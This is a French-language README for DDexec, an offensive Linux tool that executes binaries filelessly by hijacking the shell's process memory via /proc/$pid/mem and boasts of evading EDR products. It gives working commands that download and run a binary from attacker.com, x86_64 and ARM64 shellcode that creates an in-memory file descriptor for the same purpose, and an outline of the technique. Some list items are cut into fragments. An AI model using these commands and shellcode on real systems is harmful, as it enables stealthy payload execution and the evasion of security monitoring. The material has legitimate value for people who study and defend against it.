
Une technique pour exécuter des binaires sans fichier et discrètement sur Linux en 'écrasant' le processus du shell avec un autre.
J'ai tellement mis à jour DDexec qu'il est à peine reconnaissable, l'analyse de l'ELF est désormais effectuée par du code machine plutôt que par le script shell, ce qui le rend bien plus rapide, fiable et compréhensible. Cela a également réduit ses dépendances au strict minimum.
Il dépend désormais à peine de l'arithmétique du shell, ce qui pourrait le faire fonctionner sur Android.
Sous Linux, pour exécuter un programme, il doit exister en tant que fichier, accessible d'une manière ou d'une autre via la hiérarchie du système de fichiers (c'est ainsi que fonctionne execve()). Ce fichier peut résider sur le disque ou en RAM (tmpfs, memfd), mais vous avez besoin d'un chemin de fichier. Cela a rendu très facile le contrôle de ce qui est exécuté sur un système Linux, facilitant la détection des menaces et des outils d'attaquants, ou empêchant quiconque d'exécuter quoi que ce soit de leur propre chef (par exemple, en n'autorisant pas les utilisateurs non privilégiés à placer des fichiers exécutables où que ce soit).
Eh bien, si vous ne pouvez pas démarrer le processus que vous voulez… alors vous détournez et torturez un processus existant jusqu'à ce qu'il réponde à vos désirs.
Dirigez le binaire que vous souhaitez exécuter vers le script ddexec.sh. Les arguments du script sont les arguments du programme (en commençant par argv[0]).
Voici, essayez ceci :
bash ddexec.sh ls -lA < /bin/ls
qui est facilement utilisable avec quelque chose comme :
wget -O- https://attacker.com/binary.elf | bash ddexec.sh argv0 foo bar
Il existe également le script ddsc.sh qui vous permet d'exécuter directement du code machine.
L'exemple suivant montre l'utilisation d'un shellcode qui créera un memfd (un descripteur de fichier pointant vers un fichier en mémoire) auquel nous pourrons plus tard écrire des binaires et les exécuter, depuis la mémoire évidemment.
bash ddsc.sh -x <<< "68444541444889e74831f64889f0b401b03f0f054889c7b04d0f05b0220f05" &
cd /proc/$!/fd
wget -O 4 https://attacker.com/binary.elf
./4
En ARM64, le processus est le même.
bash ddsc.sh -x <<< "802888d2a088a8f2e00f1ff8e0030091210001cae82280d2010000d4c80580d2010000d4881580d2010000d4610280d2281080d2010000d4"
Les distributions Linux testées sont Debian, Alpine et Arch. Les shells pris en charge sont bash, zsh et ash (busybox) ; sur les architectures x86_64 et aarch64 (arm64).
Depuis le 12/12/2022, j'ai trouvé un certain nombre d'alternatives à dd, dont l'une, tail, est actuellement le programme par défaut utilisé pour lseek() à travers le fichier mem (ce qui était le seul but de l'utilisation de dd). Ces alternatives sont :
tail
hexdump
cmp
xxd
En définissant la variable SEEKER, vous pouvez changer le chercheur utilisé, p. ex. :
SEEKER=cmp bash ddexec.sh ls -l <<< $(base64 -w0 /bin/ls)
Si vous trouvez un autre chercheur valide non implémenté dans le script, vous pouvez toujours l'utiliser en définissant la variable SEEKER_ARGS :
SEEKER=xxd SEEKER_ARGS='-s $offset' zsh ddexec.sh ls -l <<< $(base64 -w0 /bin/ls)
Bloquez ça, EDRs.
Ce script dépend des outils suivants pour fonctionner.
bash | zsh | ash (busybox)
tail | dd | hexdump | cmp | xxd | tout autre programme qui nous permet de chercher dans un fd
Dans le cas de ash, tail, dd, hexdump, cmp et xxd sont des commandes internes, donc ils ne sont pas réellement une dépendance.
Remarque : cela ne fonctionne qu'avec les versions modernes de busybox. Je ne suis pas sûr de la version la plus ancienne, je ne l'ai pas vérifié. Je sais que ça fonctionne avec la v1.35.0, mais pas avec la v1.30.0.
Si vous êtes capable de modifier arbitrairement la mémoire d'un processus, alors vous pouvez le contrôler. Cela peut être utilisé pour détourner un processus existant et le remplacer par un autre programme. Nous pouvons y parvenir soit en utilisant l'appel système ptrace() (ce qui nécessite d'avoir la capacité d'exécuter des appels système ou de disposer de gdb sur le système), soit, plus intéressant encore, en écrivant dans /proc/$pid/mem.
Le fichier /proc/$pid/mem est une correspondance un-à-un de l'espace d'adressage utilisateur d'un processus (par exemple de 0x0 à 0x7ffffffffffff000 en x86-64). Cela signifie que lire ou écrire dans ce fichier à un décalage x équivaut à lire ou modifier le contenu à l'adresse virtuelle x.
Nous avons trois problèmes fondamentaux à résoudre :
Mais nous avons des solutions astucieuses :
mem du shell avec des permissions d'écriture… ainsi les processus enfants qui utilisent ce fd pourront modifier la mémoire du shell.maps du shell dans procfs pour obtenir des informations sur la disposition des adresses du processus.lseek() sur le fichier. Depuis le shell, cela peut être fait en utilisant quelques binaires courants, comme tail ou le célèbre dd ; voir la section EverythingExec pour plus d'informations.Les étapes sont relativement simples et ne nécessitent aucune expertise pour les comprendre :
/proc/$pid/syscall l'adresse à laquelle le processus retournera après l'appel système qu'il exécute actuellement — puisque nous lisons ce fichier, cet appel système sera read(), et l'adresse se trouvera dans le wrapper read() de la libc. Cela permet simplement d'obtenir un emplacement où notre stager sera trouvé rapidement.mem, nous pouvons modifier des pages non inscriptibles). Ce stager lira et exécutera un shellcode plus gros.execve() :
Le shellcode a été généré en compilant loader.c, et en ajustant son assembleur pour supprimer et simplifier beaucoup d'artefacts introduits par le compilateur.
Bon, il y a quelques TODOs. En dehors de cela, vous avez peut-être remarqué que je ne connais pas grand-chose au scripting shell (je suis plutôt programmeur C), et je suis sûr d'avoir remporté une décennie de prix "useless use of a cat" — aucun chat n'a été blessé dans la création de cet outil — et toutes les autres variantes rien qu'avec une fraction de ce projet.
— Porter sur d'autres shells — à la limite, nous devrions rendre le script conforme à POSIX.
Quoi qu'il en soit, n'hésitez pas à forker et à faire des PR. Mais s'il vous plaît, lorsque vous contribuez, gardez à l'esprit que les PR qui ne fonctionnent pas sur les shells pris en charge ne seront pas acceptées ; ce n'est pas contribuer, c'est juste casser des choses. Il serait préférable que vos modifications soient conformes à POSIX.
Juste… s'il vous plaît, s'il vous plaît, s'il vous plaît, vérifiez votre code et voyez s'il fonctionne sur les shells pris en charge, au moins sur Debian et Alpine. Ce ne sont que quelques dockers.
Après avoir publié cet outil, j'ai appris que Sektor7 avait déjà publié cette technique presque exacte sur leur blog il y a quelques années.
Malgré cela, j'ai pensé à cette technique de manière indépendante, maintenant presque dans son intégralité. La partie la plus intelligente de cette technique est probablement l'utilisation du descripteur de fichier hérité, idée fournie par David Buchanan (inspirée par le blog de Sektor7) près d'un an avant même que je commence à réfléchir à ce sujet. Cela seul rend non seulement la technique beaucoup plus simple et élégante, mais aussi bien plus redoutable en éliminant le besoin de désactiver ASLR.
Quoi qu'il en soit, j'espère pouvoir diffuser cette technique bien plus largement, c'est ce qui compte.
Je voudrais remercier Carlos Polop, un grand pentester et meilleur ami, de m'avoir fait réfléchir à ce sujet, et pour ses retours et son intérêt utiles. Et je lui dois aussi le nom du projet. Je suis sûr que si vous lisez ceci, vous avez déjà utilisé son formidable outil PEASS et trouvé une aide dans un article de son livre HackTricks.
Vous pouvez :
mem.Vous pouvez me joindre via Twitter.